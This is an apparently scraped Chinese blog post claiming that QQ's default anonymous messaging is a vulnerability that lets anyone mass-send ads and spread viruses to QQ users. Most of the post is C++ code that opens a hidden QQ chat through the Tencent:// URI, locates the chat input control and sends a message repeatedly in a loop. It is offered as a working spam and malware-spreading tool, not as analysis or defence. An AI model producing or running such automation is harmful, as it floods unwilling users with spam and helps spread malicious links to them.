zoukankan      html  css  js  c++  java
  • QQ存在重大漏洞,用户可以群发小广告,传播病毒

    QQ允许发送匿名消息,虽然我们可以把它关掉,但默认是允许的,这就给人以可乘之机,这样我们可以利用它来给所有QQ用户群发小广告,传播病毒。
    实现代码
    HRESULT CtestQQDlg::SendMsg(CString qqNum, CString msg)
    {
        
     CString str;
        str.Format (_T (
    "Tencent://Message/?Menu=YES&Exe=QQ&Uin=%s"), qqNum);   

      ShellExecute (NULL, _T (
    "open"), str, NULL, NULL, SW_HIDE);  

    //寻找桌面上已打开的聊天窗口,然后对该窗口进行自动发送消息:

        HWND hwnd1 
    = NULL;
        HWND hwnd2 
    = NULL;
        HWND hRichEdit 
    = NULL;
        
    //HWND hSendButton = NULL;

        
    //尝试找到句柄,尝试10次,如果未找到
        int testTimes = 10,testCount = 0;
        
    while(g_hwnd == NULL && testCount < testTimes)
        
    {
            EnumWindows (EnumWindowsProc, NULL);
            Sleep(
    500);
            testCount
    ++;
        }


        
    if (g_hwnd == NULL)   //g_hwnd标识找到的聊天窗口
        
            
    return S_FALSE;
        }


        
    do
        
    {
            
    if ((hwnd1 = ::FindWindowEx (g_hwnd, NULL, _T ("#32770"), NULL)) != NULL 
                
    && GetWindowLong (hwnd1, GWL_STYLE) == 0x50000044)
                
    break;
        }
    while (hwnd1 != NULL);

        
    if (hwnd1 == NULL)
            
    return S_FALSE;

        
    do
        
    {
            
    if ((hwnd2 = ::FindWindowEx (hwnd1, NULL, _T ("AfxWnd42"), NULL)) != NULL
                
    && (hRichEdit = ::GetDlgItem (hwnd2, 0x37e)) != NULL)
                
    break;
        }
    while (hwnd2 != NULL);

        
    if (hwnd2 == NULL || hRichEdit == NULL)
            
    return S_FALSE;

        CHARRANGE r;
        r.cpMax 
    = -1;
        r.cpMin 
    = 0;

        UpdateData (TRUE);
        
    int times = atoi (m_sendTimes);
        
    for (int i=0; i < times; i++)
        
    {
            ::SendMessage (hRichEdit, EM_EXSETSEL, 
    0, (LPARAM) &r);
            ::SendMessage (hRichEdit, EM_REPLACESEL, 
    0, (LPARAM)(LPCTSTR)msg);
            ::SendMessage (hwnd1, WM_COMMAND, 
    1, NULL);
            Sleep (
    1000);
        }

        ::SendMessage (g_hwnd, WM_CLOSE, 
    0, NULL);      //  最后可以选择关闭该窗口 
        return S_OK;
    }
  • 相关阅读:
    C++后台开发校招面试常见问题
    算术表达式的前缀,中缀,后缀相互转换
    Redis键值对数据库的设计与实现
    C++经典面试题(最全,面中率最高)
    C++开发工程师面试题大合集
    C++中常用的设计模式
    C++中const修饰函数,函数参数,函数返回值的作用
    C++main函数的参数介绍以及如何在main函数前执行一段代码
    Windows系统下安装tensorflow+keras深度学习环境
    第十三周学习总结
  • 原文地址:https://www.cnblogs.com/polugen/p/560032.html
Copyright © 2011-2022 走看看